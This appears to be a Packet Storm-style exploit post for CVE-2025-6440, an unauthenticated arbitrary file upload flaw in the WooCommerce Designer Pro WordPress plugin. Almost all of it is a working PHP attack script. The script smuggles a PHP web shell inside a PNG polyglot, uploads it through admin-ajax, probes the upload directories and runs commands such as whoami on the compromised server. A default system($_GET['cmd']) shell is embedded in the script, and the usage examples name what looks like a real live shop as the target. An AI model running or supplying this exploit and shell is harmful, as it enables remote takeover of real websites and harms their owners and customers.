=============================================================================================================================================
| # Title     : WordPress WOOCOMMERCE Designer Pro 1.9.26 Arbitrary File Upload                                                             |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : https://codecanyon.net/item/woocommerce-designer-pro-cmyk-card-flyer/22027731                                               |
=============================================================================================================================================

[+] References :  https://packetstorm.news/files/id/211066/ & 	CVE-2025-6440

[+] Summary    : An unauthenticated attacker may upload arbitrary files (including PHP web-shells) to reachable paths under /wp-content/uploads/.

Impact:
-------
- Remote Code Execution (RCE) (if PHP is parsed)
- Stored Payload
- Full site compromise


[+] php poc.php

php exploit.php --url https://bezignprint.com --dirscan


php exploit.php --url https://bezignprint.com --file webadmin.php --verbose


php exploit.php --url https://bezignprint.com --verbose

<?php

class CVE_2025_6440_Exploit {
    private $base_url;
    private $verbose;
    private $user_agent = "Mozilla/5.0";
    
    public function __construct($url, $verbose = false) {
        $this->base_url = $this->normalize_url($url);
        $this->verbose = $verbose;
    }
    
    private function normalize_url($url) {
        if (!preg_match('/^https?:\/\//', $url)) {
            $url = "https://" . $url;
        }
        return rtrim($url, "/") . "/";
    }
    
    private function ajax_url() {
        return $this->base_url . "wp-admin/admin-ajax.php";
    }
    
    private function uploads_base() {
        return $this->base_url . "wp-content/uploads/";
    }
    
    private function contains_php($bytes) {
        return strpos($bytes, '<?php') !== false || strpos($bytes, '<?=') !== false;
    }
    
    private function extract_php_from_bytes($bytes) {
        $idx = strpos($bytes, '<?php');
        if ($idx === false) {
            $idx = strpos($bytes, '<?=');
            if ($idx === false) {
                return [-1, ''];
            }
        }
        return [$idx, substr($bytes, $idx)];
    }
    
    private function upload_file($uniq, $file_bytes, $filename, $mime, $timeout = 30) {
        $target = $this->ajax_url();
        $action = "wcdp_save_canvas_design_ajax";
        $field = "0";
        
        $pathinfo = pathinfo($filename);
        $name = $pathinfo['filename'];
        $ext = isset($pathinfo['extension']) ? $pathinfo['extension'] : '';
        
        // إنشاء PNG polyglot بدلاً من استخدام الملف مباشرة
        $png_header = "\x89PNG\r\n\x1a\n";
        $png_ihdr = pack("N", 13) . "IHDR" . pack("NN", 100, 100) . "\x08\x06\x00\x00\x00";
        $png_crc = pack("N", crc32("IHDR" . substr($png_ihdr, 4, 13)));
        
        // إضافة PHP كـcomment في PNG
        $php_comment = "<?php /*" . str_repeat(" ", 50) . "*/ ?>\n" . $file_bytes;
        $text_chunk = "tEXt" . $php_comment;
        $text_length = strlen($php_comment);
        $text_crc = crc32("tEXt" . $php_comment);
        
        // بناء PNG كامل
        $png_data = $png_header . 
                   $png_ihdr . $png_crc .
                   pack("N", $text_length) . $text_chunk . pack("N", $text_crc) .
                   "\x00\x00\x00\x00IEND\xaeB`\x82";
        
        // استخدام اسم PNG
        $fake_name = "design_" . $uniq . ".png";
        
        $params = [
            "mode" => "addtocart",
            "uniq" => $uniq,
            "editor" => "frontend",
            "designID" => rand(1, 1000),
            "productID" => rand(1, 1000),
            "addCMYK" => false,
            "saveList" => false,
            "productData" => 0,
            "files" => [[
                "count" => $field,
                "name" => "design",
                "ext" => "png"
            ]]
        ];
        
        $data = [
            "action" => $action,
            "params" => json_encode($params, JSON_UNESCAPED_SLASHES)
        ];
        
        if ($this->verbose) {
            echo "\n[VERBOSE] Upload target: $target\n";
            echo "[VERBOSE] Data fields: " . json_encode($data, JSON_PRETTY_PRINT) . "\n";
            echo "[VERBOSE] File: $fake_name (" . strlen($png_data) . " bytes, image/png)\n";
        }
        
        $ch = curl_init();
        
        // بناء multipart
        $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16));
        $body = '';
        
        // إضافة البيانات
        foreach ($data as $key => $value) {
            $body .= "--$boundary\r\n";
            $body .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";
            $body .= "$value\r\n";
        }
        
        // إضافة الملف
        $body .= "--$boundary\r\n";
        $body .= "Content-Disposition: form-data; name=\"$field\"; filename=\"$fake_name\"\r\n";
        $body .= "Content-Type: image/png\r\n\r\n";
        $body .= $png_data . "\r\n";
        $body .= "--$boundary--\r\n";
        
        $headers = [
            "Content-Type: multipart/form-data; boundary=$boundary",
            "Content-Length: " . strlen($body),
            "User-Agent: " . $this->user_agent,
            "Accept: application/json, */*;q=0.1",
            "Accept-Language: en-US,en;q=0.9",
            "Referer: " . $this->base_url,
            "X-Requested-With: XMLHttpRequest",
            "Origin: " . rtrim($this->base_url, "/"),
            "Connection: keep-alive"
        ];
        
        curl_setopt_array($ch, [
            CURLOPT_URL => $target,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $body,
            CURLOPT_HTTPHEADER => $headers,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_ENCODING => 'gzip, deflate',
            CURLOPT_HEADER => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $response_headers = substr($response, 0, $header_size);
        $response_body = substr($response, $header_size);
        
        if ($this->verbose) {
            echo "[VERBOSE] HTTP Response: $http_code\n";
            if (strlen($response_body) < 1000) {
                echo "[VERBOSE] Response body: $response_body\n";
            }
        }
        
        if (curl_errno($ch)) {
            echo "[!] Upload request failed: " . curl_error($ch) . "\n";
            curl_close($ch);
            return null;
        }
        
        curl_close($ch);
        
        return [
            'status_code' => $http_code,
            'body' => $response_body,
            'text' => $response_body,
            'headers' => $response_headers
        ];
    }
    
    private function check_remote($public_url, $save_copy = null, $timeout = 15) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $public_url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_HEADER => true,
            CURLOPT_USERAGENT => $this->user_agent,
            CURLOPT_ENCODING => 'gzip, deflate',
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1
        ]);
        
        $response = curl_exec($ch);
        
        if (curl_errno($ch)) {
            echo "[!] Remote GET failed: " . curl_error($ch) . "\n";
            curl_close($ch);
            return null;
        }
        
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $headers = substr($response, 0, $header_size);
        $body = substr($response, $header_size);
        
        curl_close($ch);
        
        $content_type = '';
        if (preg_match('/Content-Type:\s*([^\r\n]+)/i', $headers, $matches)) {
            $content_type = trim($matches[1]);
        }
        
        $info = [
            "status_code" => $http_code,
            "content_type" => $content_type,
            "body_bytes" => $body,
            "headers" => $headers
        ];
        
        if ($save_copy) {
            try {
                file_put_contents($save_copy, $body);
                if ($this->verbose) {
                    echo "[VERBOSE] Saved remote copy to $save_copy\n";
                }
            } catch (Exception $e) {
                echo "[!] Could not write save_copy: " . $e->getMessage() . "\n";
            }
        }
        
        return $info;
    }
    
    public function exploit($payload_file) {
        if (!file_exists($payload_file)) {
            echo "[!] File not found: $payload_file\n";
            return false;
        }
        
        $file_bytes = file_get_contents($payload_file);
        $filename = basename($payload_file);
        $uniq = bin2hex(random_bytes(6));
        
        echo "[*] Target: " . $this->base_url . "\n";
        echo "[*] Uniq ID: $uniq\n";
        echo "[*] Payload: $payload_file\n";
        
        // محاولة الرفع
        $resp = $this->upload_file($uniq, $file_bytes, $filename, 'image/png');
        
        if ($resp === null) {
            echo "[!] Upload request failed\n";
            return false;
        }
        
        echo "[*] Upload response: HTTP {$resp['status_code']}\n";
        
        // محاولة استخراج URL من JSON
        $public_url = null;
        
        if ($resp['status_code'] == 200 && !empty($resp['body'])) {
            if ($this->verbose) {
                echo "[VERBOSE] Raw response: " . substr($resp['body'], 0, 500) . "\n";
            }
            
            $json = json_decode($resp['body'], true);
            if ($json && is_array($json)) {
                if ($this->verbose) {
                    echo "[VERBOSE] JSON Response: " . json_encode($json, JSON_PRETTY_PRINT) . "\n";
                }
                
                // البحث عن URL في الـJSON
                array_walk_recursive($json, function($value, $key) use (&$public_url) {
                    if (is_string($value) && 
                        (strpos($value, '/wp-content/') !== false || 
                         strpos($value, 'wcdp-uploads') !== false ||
                         preg_match('/\.(php|png|jpg|jpeg|gif)$/i', $value))) {
                        $public_url = $value;
                    }
                });
                
                if ($public_url) {
                    echo "[*] Found URL in JSON response\n";
                }
            }
            
            // إذا لم نجد في JSON، حاول استخراج من النص الخام
            if (!$public_url && preg_match('/"([^"]+\.(png|jpg|jpeg|gif|php))"/i', $resp['body'], $matches)) {
                $public_url = $matches[1];
                echo "[*] Found URL in response text\n";
            }
        }
        
        // إذا لم نجد URL، نستخدم المسار الافتراضي مع التصحيح
        if (!$public_url) {
            // حسب الموقع، المسار قد يكون مختلفاً
            $public_url = $this->base_url . "wp-content/uploads/wcdp-uploads/temp/$uniq/design.png";
            echo "[*] Using default URL pattern\n";
        } else {
            // التأكد أن الـURL كامل
            if (!preg_match('/^https?:\/\//', $public_url)) {
                $public_url = $this->base_url . ltrim($public_url, "/");
            }
        }
        
        echo "[*] Trying to access: $public_url\n";
        
        // اختبار URL مباشرة
        $info = $this->check_remote($public_url, "downloaded_{$uniq}.bin");
        
        if (!$info) {
            echo "[!] Could not fetch remote file\n";
            
            // محاولة مسارات بديلة بناءً على هيكل الموقع
            $alt_paths = [
                // المسار الذي وجدته في الموقع
                $this->base_url . "wp-content/uploads/wcdp-uploads/",
                $this->base_url . "wp-content/uploads/wcdp-uploads/temp/$uniq/",
                $this->base_url . "wp-content/uploads/wcdp-uploads/$uniq/",
                $this->base_url . "wp-content/uploads/wcdp-uploads/design_$uniq.png",
                $this->base_url . "wp-content/uploads/wcdp-uploads/temp/$uniq/design_$uniq.png",
                // مسارات عامة
                $this->base_url . "wp-content/uploads/wcdp-uploads/temp/design.png",
                $this->base_url . "wp-content/uploads/wcdp-uploads/design.png"
            ];
            
            foreach ($alt_paths as $alt_path) {
                echo "[*] Trying alternative path: $alt_path\n";
                $info = $this->check_remote($alt_path, "downloaded_{$uniq}_alt.bin");
                if ($info && $info['status_code'] == 200) {
                    $public_url = $alt_path;
                    break;
                }
                
                // إذا كان دليل، حاول إدراج الملفات فيه
                if (substr($alt_path, -1) == '/') {
                    $possible_files = ["design.png", "image.png", "file.png", "design_$uniq.png"];
                    foreach ($possible_files as $file) {
                        $file_path = $alt_path . $file;
                        echo "[*]   Trying file: $file_path\n";
                        $file_info = $this->check_remote($file_path, null);
                        if ($file_info && $file_info['status_code'] == 200) {
                            $info = $file_info;
                            $public_url = $file_path;
                            break 2;
                        }
                    }
                }
            }
        }
        
        if (!$info) {
            echo "[!] Failed to locate uploaded file\n";
            
            // عرض المسارات المتاحة
            echo "\n[*] Available paths to check manually:\n";
            echo "1. " . $this->base_url . "wp-content/uploads/wcdp-uploads/\n";
            echo "2. " . $this->base_url . "wp-content/uploads/wcdp-uploads/temp/\n";
            echo "3. " . $this->base_url . "wp-content/uploads/wcdp-uploads/temp/$uniq/\n";
            echo "\n[*] Try browsing these paths in browser\n";
            
            return false;
        }
        
        echo "[*] Remote status: {$info['status_code']}\n";
        echo "[*] Content-Type: {$info['content_type']}\n";
        
        if ($info['status_code'] == 200) {
            $body = $info['body_bytes'];
            
            if ($this->contains_php($body)) {
                echo "[+] SUCCESS: File contains PHP code!\n";
                
                // استخراج الكود
                list($idx, $extracted) = $this->extract_php_from_bytes($body);
                if ($idx >= 0) {
                    $outname = "shell_{$uniq}.php";
                    file_put_contents($outname, $extracted);
                    echo "[+] Shell extracted to: $outname\n";
                    
                    // حفظ كامل الملف أيضاً
                    $fullname = "full_{$uniq}.bin";
                    file_put_contents($fullname, $body);
                    echo "[+] Full file saved as: $fullname\n";
                    
                    // عرض جزء من المحتوى
                    $sample = substr($extracted, 0, 300);
                    echo "[+] Code sample:\n" . htmlspecialchars($sample) . "...\n";
                }
                
                echo "\n[+] SHELL URL: $public_url\n";
                echo "[+] Access it directly in browser or with curl:\n";
                echo "    curl -k \"$public_url\"\n";
                echo "    curl -k \"$public_url?cmd=id\"\n";
                
                // اختبار مباشر للـshell
                $this->test_shell($public_url);
            } else {
                echo "[-] File does not contain PHP code\n";
                
                // فحص إذا كان PNG مخفي
                $magic = substr($body, 0, 8);
                if ($magic === "\x89PNG\r\n\x1a\n") {
                    echo "[*] File is a valid PNG (might be polyglot)\n";
                    
                    // البحث عن PHP داخل PNG
                    if (($pos = strpos($body, '<?php')) !== false) {
                        echo "[+] Found PHP inside PNG at position: $pos\n";
                        $extracted = substr($body, $pos);
                        $outname = "extracted_png_{$uniq}.php";
                        file_put_contents($outname, $extracted);
                        echo "[+] Extracted to: $outname\n";
                        
                        // اختبار الـshell المستخرج
                        $this->test_shell($this->base_url . "wp-content/uploads/wcdp-uploads/temp/$uniq/" . basename($outname));
                    }
                }
                
                // عرض أول 500 بايت للمحتوى للفحص
                echo "[*] First 500 bytes of response:\n";
                echo htmlspecialchars(substr($body, 0, 500)) . "\n";
            }
        } else {
            echo "[-] File not accessible (Status: {$info['status_code']})\n";
        }
        
        return true;
    }
    
    private function test_shell($url) {
        echo "\n[*] Testing shell functionality...\n";
        
        // اختبار بسيط
        $ch = curl_init($url . "?cmd=echo%20test123");
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 10,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_USERAGENT => $this->user_agent
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if ($http_code == 200) {
            if (strpos($response, "test123") !== false) {
                echo "[+] Shell is active and working!\n";
                
                // اختبار إضافي
                curl_setopt($ch, CURLOPT_URL, $url . "?cmd=whoami");
                $whoami = curl_exec($ch);
                echo "[+] Current user: " . trim($whoami) . "\n";
                
                curl_setopt($ch, CURLOPT_URL, $url . "?cmd=pwd");
                $pwd = curl_exec($ch);
                echo "[+] Current directory: " . trim($pwd) . "\n";
            } else {
                echo "[?] Shell accessible but command execution may be filtered\n";
                echo "[?] Response: " . substr($response, 0, 200) . "\n";
            }
        } else {
            echo "[-] Shell not responding (HTTP $http_code)\n";
        }
        
        curl_close($ch);
    }
    
    public static function print_banner() {
        echo "\n\033[32;1m" . str_repeat("=", 60) . "\033[0m\n";
        echo "\033[32;1m" . "   CVE-2025-6440 - WordPress Design Plugin RCE" . "\033[0m\n";
        echo "\033[32;1m" . "   Advanced Bypass with PNG Polyglot" . "\033[0m\n";
        echo "\033[32;1m" . str_repeat("=", 60) . "\033[0m\n\n";
    }
    
    public function directory_scan() {
        echo "\n[*] Scanning uploads directory structure...\n";
        
        $base_uploads = $this->base_url . "wp-content/uploads/";
        $wcdp_uploads = $base_uploads . "wcdp-uploads/";
        
        echo "[*] Base uploads: $base_uploads\n";
        echo "[*] WCDP uploads: $wcdp_uploads\n";
        
        // فحص المسارات
        $paths_to_check = [
            $base_uploads,
            $wcdp_uploads,
            $wcdp_uploads . "temp/",
            $wcdp_uploads . "designs/",
            $wcdp_uploads . "images/"
        ];
        
        foreach ($paths_to_check as $path) {
            $ch = curl_init($path);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_NOBODY => true,
                CURLOPT_TIMEOUT => 5
            ]);
            
            curl_exec($ch);
            $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            echo "[*] $path -> HTTP $code\n";
            
            // إذا كان الدليل موجود، حاول سرد الملفات
            if ($code == 200 || $code == 403) {
                $ch = curl_init($path);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_TIMEOUT => 5
                ]);
                
                $html = curl_exec($ch);
                curl_close($ch);
                
                // البحث عن ملفات
                if (preg_match_all('/<a\s+href="([^"]+\.(php|png|jpg|jpeg|gif))"/i', $html, $matches)) {
                    echo "  Found files:\n";
                    foreach ($matches[1] as $file) {
                        echo "    - $file\n";
                    }
                }
            }
        }
    }
}

// التنفيذ
if (php_sapi_name() === 'cli') {
    $options = getopt("u:f:vd", ["url:", "file:", "verbose", "dirscan"]);
    
    if (!isset($options['url'])) {
        echo "Usage: php " . basename(__FILE__) . " --url=<target> [--file=<payload>] [--verbose] [--dirscan]\n";
        echo "Example: php " . basename(__FILE__) . " --url=https://bezignprint.com --file=shell.php --verbose\n";
        echo "         php " . basename(__FILE__) . " --url=https://bezignprint.com --dirscan\n";
        exit(1);
    }
    
    $url = $options['url'] ?? '';
    $verbose = isset($options['verbose']);
    $dirscan = isset($options['dirscan']);
    
    CVE_2025_6440_Exploit::print_banner();
    
    $exploit = new CVE_2025_6440_Exploit($url, $verbose);
    
    if ($dirscan) {
        $exploit->directory_scan();
        exit(0);
    }
    
    if (!isset($options['file'])) {
        echo "[!] Payload file required (use --file=<payload>)\n";
        
        // إنشاء payload افتراضي
        $default_payload = "shell.php";
        if (!file_exists($default_payload)) {
            $shell_code = '<?php 
if(isset($_GET["cmd"])) {
    system($_GET["cmd"]);
} elseif(isset($_POST["cmd"])) {
    system($_POST["cmd"]);
} else {
    echo "Shell Active - " . php_uname() . "\n";
    echo "Usage: ?cmd=id or POST cmd=id";
}
?>';
            file_put_contents($default_payload, $shell_code);
            echo "[*] Created default payload: $default_payload\n";
            $options['file'] = $default_payload;
        } else {
            echo "[*] Using existing payload: $default_payload\n";
            $options['file'] = $default_payload;
        }
    }
    
    $file = $options['file'] ?? '';
    $exploit->exploit($file);
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================